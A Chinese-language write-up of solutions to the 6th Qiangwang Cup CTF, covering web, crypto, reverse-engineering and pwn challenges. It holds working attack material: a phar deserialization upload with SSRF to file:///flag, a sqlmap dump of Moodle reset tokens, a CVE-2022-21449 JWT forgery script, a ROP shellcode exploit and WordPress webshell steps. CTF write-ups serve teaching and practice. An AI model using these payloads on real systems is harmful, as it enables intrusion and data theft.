【第六届强网杯CTF-Wp】

Web

crash

先 pickle rce进去写⼀个脚本监听5000端⼝ 阻塞

import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('', 5000))
sock.listen(5)
while True:
connection,address = sock.accept()
try:
connection.settimeout(99999999)
buf = connection.recv(29999)
time.sleep(1000000)
print(buf)
if buf == b'1':
connection.send(b'welcome to server!')
else:
connection.send(b'please go out!')
except socket.timeout:
time.sleep(1000000)
print(time)
connection.close()

babyweb

得知端⼝是8888 可以使⽤websocket 来ssrf强制admin修改密码 登录之后 购买hint获得源码 简单看了⼏眼 搜了搜json的⼀些⼿法发现⼀个替换 /buy post发包即可

{"product":[{"id":1,"num":0},{"id":2, "num":-1,"num":1}]}

easyweb

http://47.104.95.124:8080/showfile.php?f=php://filter/convert.base64-encode/resource=./demo/../index.php

继续读下去 有class.php uploda.php 发现showfile.php读不了 ⽂件上传那⾥构造session表单就可以绕过 然后就是打phar。

guestshow = new GuestShow();
$upload = new Upload();
$upload->date = "";
$upload2 = new Upload();
$upload2->date = "http://10.10.10.10/";
$a = new GuestShow();
$a->file = new AdminShow();
$a->file->upload = new AdminShow();
$a->file->upload->str = [$upload,$upload2];
$upload2->filesize = $a->file;
$upload2->filesize = $a->file;
$upload2->tmp = $guestshow;
$upload2->tmp->str = [$guestshow];
$guestshow->file = $a->file;

起个链⼦让他去请求 读了⼀下/etc/hosts对⽹段批量扫就⾏

127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 f3d4be8c6938
10.10.10.5 f3d4be8c6938

发现是10.10.10.10 ⾥⾯的⻚⾯源码

//内⽹资源阅读器-测试机
//配置信息请看phpinfo.php
highlight_file(__FILE__);
if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);
    echo $result;
}
if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101
'){
    system('cat /flag');
    die();
}
?>

既然他都在这⾥给curl了 那我们直接file:///flag就可以 不⽤管其他的了

POST /upload.php HTTP/1.1
Host: 47.104.95.124:8080
Content-Length: 926
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.104.95.124:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryak6U5bQGmG0fmVS5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.104.95.124:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
COOKIE:PHPSESSID=abcde;
Connection: close
------WebKitFormBoundaryak6U5bQGmG0fmVS5
Content-Disposition: form-data; name="file"; filename="phar.jpg"
Content-Type: image/jpeg
GIF89aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php__HALT_COMPILER(); ?>
ôÃO:9:"GuestShow":2:{s:4:"file";O:9:"AdminShow":3:{s:6:"source";O:9:"AdminShow":3:
{s:6:"source";N;s:3:"str";a:2:{i:0;O:6:"Upload":4:
{s:4:"file";N;s:8:"filesize";r:2;s:4:"date";s:0:"";s:3:"tmp";N;}i:1;O:6:"Upload":4:
{s:4:"file";N;s:8:"filesize";r:2;s:4:"date";s:35:"http://10.10.10.10?
url=file:///flag";s:3:"tmp";O:9:"GuestShow":3:
{s:4:"file";r:2;s:8:"contents";N;s:3:"str";a:1:
{i:0;r:15;}}}}s:6:"filter";N;}s:3:"str";N;s:6:"filter";N;}s:8:"contents";N;}1231åb~•Ø¶t
est^•$$Æçíyw¡•w25Ó+x#GBMB
------WebKitFormBoundaryak6U5bQGmG0fmVS5
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
敕交
------WebKitFormBoundaryak6U5bQGmG0fmVS5--

然后解base64

easylogin

wp的注⼊ 获取8888端⼝moodle的数据 在8888找回admin的密码 利⽤注⼊查token

sqlmap -r 1 --random-agent --dbms=mysql --batch -D moodle -T mdl_user_password_resets --dump --freshqueries

修改密码后进⼊后台上传插件 getshell rce后 在etc下grep -Rin “flag” 获得flag

Misc

签到

flag{we1come_t0_qwb_s6}

问卷

flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}

Crypto

myJWT

CVE-2022-21449 r=s=0即可通过校验，最后再调⼀下参数

import base64
from pwn import *
r=remote('47.104.76.78',23334)
s=b'{"alg":"myES","typ":"JWT"}'
t=b'{"iss":"qwb","exp":11659200191758,"name":"1","admin":true}'
a=f"{base64.b64encode(s).decode()}.{base64.b64encode(t).decode()}.
{base64.b64encode(bytes(64)).decode()}"
r.sendline('1')
r.sendline('2')
r.sendline(a)
r.interactive()

Re

deeprev

打开程序载⼊ida，发现判断流程⾮常简洁，以⾄于都没看到输出部分和加密部分

上⽅有⼀个secret 我们看看它是啥，不在此⽂件中

看到这⾥有个地⽅提示patch这⾥

后来patch后经过⽤angr尝试，发现跑不动 看到这个程序有⾮常多的重定位数据，就感到⾮常奇怪。

发现有个题和这题相似

上作者的github下载解析脚本

https://gist.github.com/hgarrereyn/9e536e8b3471d3cb8ecbb5932a776b95

这⾥我们不需要solve，⾃⼰分析dump数据流

运⾏脚本

根据电脑性能⼤致等30-40分钟，就可以看到输出结果，可以看到很明显的flag标志。

注意转成16进制取⾼2位

后⾯的可以复制这个解析好的

全部提取出来后的flag_data

下⾯还有常数进⾏xor仍然可以提取出来

根据题⽬的提示写出脚本解密

强网先锋

devnull

#解题思路：覆盖buf指针指向可写区域0x3fe000，同时栈迁移到附近进⾏ROP，⾸先通过mprotect
#赋予执⾏权限,最后执⾏shellcode即可
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
p=process('./devnull')
gdb.attach(p)
payload='m'*0x20
p.sendafter('please input your filename\n',payload)
leave_ret=0x0000000000401511
bss=0x3fe000
payload='k'*0x14+p64(bss)*2+p64(leave_ret)
p.sendafter('Please write the data you want to discard\n',payload)
movrax=0x0000000000401350
mprotect=0x00000000004012D0
shellcode=asm(shellcraft.sh())
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x5
8\x31\xd2\x0f\x05"
payload=p64(0x3fe028)+p64(movrax)+p64(0x3fe000)+p64(0x3fe000)+p64(0x3fe030)+p64(0x3fe01
0)+p64(mprotect)+p64(0x3fe068)+p64(0x3fe048)+shellcode
p.sendafter('please input your new data\n',payload)
p.interactive()

rcefile

能直接解析phar⽂件 所以上传⼀个 system(’cat /flag’)就可以

polydiv

sage梭

from sage.all import *
from pwn import *
import string
context.log_level='debug'
dd=string.ascii_letters+string.digits
sha_done=False
r=remote('39.107.241.221',33739)
r.recvuntil('sha256(XXXX+')
s=r.recvuntil(') == ')[:-5]
h=r.recvline()[:-1]
for i in dd:
 for j in dd:
 for k in dd:
 for w in dd:
 ss_=(i+j+k+w).encode()
 ss=ss_+s
 hh=hashlib.sha256(ss).hexdigest()
 if h.decode()==hh:
 r.sendline(ss_)
 sha_done=True
 if sha_done:
 break
 if sha_done:
 break
 if sha_done:
 break
 if sha_done:
 break
print('done')
P=GF(2)['x']
x=P.gen()
for i in range(40):
 r.recvuntil('r(x) = ')
 pr=eval(r.recvline().decode().replace('^','**').strip())
 r.recvuntil('a(x) = ')
 pa=eval(r.recvline().decode().replace('^','**').strip())
 r.recvuntil('c(x) = ')
 pc=eval(r.recvline().decode().replace('^','**').strip())
 pb=(pr-pc)/pa
 print(str(pb))
 r.sendline(str(pb))
r.interactive()

WP-UM

该插件存在⽂件枚举的洞

在upload处上传⼀个⽂件，抓包并更改

若密码位数及字符正确，则显示Remove

wordpress第⼀篇⽂章作者即为⽤户，估最后得到账户密码为：MaoGePaMao MaoGeYaoQiFeiLa 登陆进去后台修改⽂件getshell，密码 1

http://eci-2ze1o95qor1o4z7vdbxu.cloudeci1.ichunqiu.com/wpcontent/themes/twentytwenty/404.php

访问/usr/local/This_1s_secert，得到flag

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